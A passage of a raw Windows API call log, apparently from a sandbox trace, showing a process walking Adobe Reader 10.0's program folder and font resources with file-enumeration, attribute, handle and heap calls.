ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeJ.htm", cAlternateFileName="")) returned 1 [0083.783] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4090, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeK.htm", cAlternateFileName="")) returned 1 [0083.783] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4444, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMePOL.htm", cAlternateFileName="")) returned 1 [0083.783] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4318, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeRUM.htm", cAlternateFileName="")) returned 1 [0083.783] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4872, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeRUS.htm", cAlternateFileName="")) returned 1 [0083.783] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x43b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeSKY.htm", cAlternateFileName="")) returned 1 [0083.783] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4995, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMeUKR.htm", cAlternateFileName="")) returned 1 [0083.783] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resource", cAlternateFileName="")) returned 1 [0083.783] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.784] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0083.784] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0083.784] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0083.784] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0083.785] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0083.785] NtClose (Handle=0x15c) returned 0x0 [0083.785] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0083.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0083.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0083.785] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b5b0 [0083.786] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f40 [0083.787] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.787] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f934f00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80163aa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80163aa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CIDFont", cAlternateFileName="")) returned 1 [0083.787] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x800a53c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMap", cAlternateFileName="")) returned 1 [0083.787] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENUtxt.pdf", cAlternateFileName="")) returned 1 [0083.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.788] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.788] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1217260 [0083.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.789] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.789] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83680580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83680580, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Font", cAlternateFileName="")) returned 1 [0083.789] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dcf09c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dcf09c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="")) returned 1 [0083.789] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d5bd20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d5bd20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaslPrep", cAlternateFileName="")) returned 1 [0083.789] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TypeSupport", cAlternateFileName="")) returned 1 [0083.789] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TypeSupport", cAlternateFileName="")) returned 0 [0083.789] GetLastError () returned 0x12 [0083.789] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e91c0 [0083.789] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0083.789] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.789] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f934f00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80163aa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80163aa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CIDFont", cAlternateFileName="")) returned 1 [0083.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.790] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f934f00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80163aa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80163aa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.791] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cidfont"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0083.791] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0083.791] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0083.791] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0083.791] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0083.791] NtClose (Handle=0x15c) returned 0x0 [0083.792] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.792] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.792] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.792] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124ca68 [0083.792] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f40 [0083.795] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f934f00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80163aa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80163aa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.795] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x53e434, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeFanHeitiStd-Bold.otf", cAlternateFileName="")) returned 1 [0083.795] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0083.795] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0083.795] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0083.796] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0083.796] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0083.796] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0083.796] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.796] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1217280 [0083.796] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b4820 [0083.797] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0083.797] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb96500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c0638, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeGothicStd-Bold.otf", cAlternateFileName="")) returned 1 [0083.797] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0083.797] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0083.797] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0083.798] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0083.798] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0083.798] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12172a0 [0083.798] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b4928 [0083.799] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0083.799] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fd132c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbb27d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeHeitiStd-Regular.otf", cAlternateFileName="")) returned 1 [0083.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0083.799] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0083.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0083.799] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0083.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0083.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12172c0 [0083.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b4a30 [0083.800] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0083.800] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8013d940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9b3508, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeMingStd-Light.otf", cAlternateFileName="")) returned 1 [0083.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0083.801] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0083.801] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0083.801] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0083.801] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0083.801] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12172e0 [0083.801] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b4b38 [0083.802] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0083.802] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb4a240, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e93f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeMyungjoStd-Medium.otf", cAlternateFileName="")) returned 1 [0083.802] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0083.802] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0083.802] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0083.803] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0083.803] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0083.803] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1217300 [0083.803] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b4c40 [0083.803] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0083.804] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe69f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xedd564, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeSongStd-Light.otf", cAlternateFileName="")) returned 1 [0083.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0083.804] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0083.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0083.804] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0083.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0083.805] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1217320 [0083.805] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b4d48 [0083.805] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0083.805] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f9a7320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x53e91c, dwReserved0=0x0, dwReserved1=0x0, cFileName="KozGoPr6N-Medium.otf", cAlternateFileName="")) returned 1 [0083.805] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0083.806] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0083.806] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0083.806] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0083.806] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0083.806] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1217340 [0083.806] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b4e50 [0083.807] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0083.807] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, 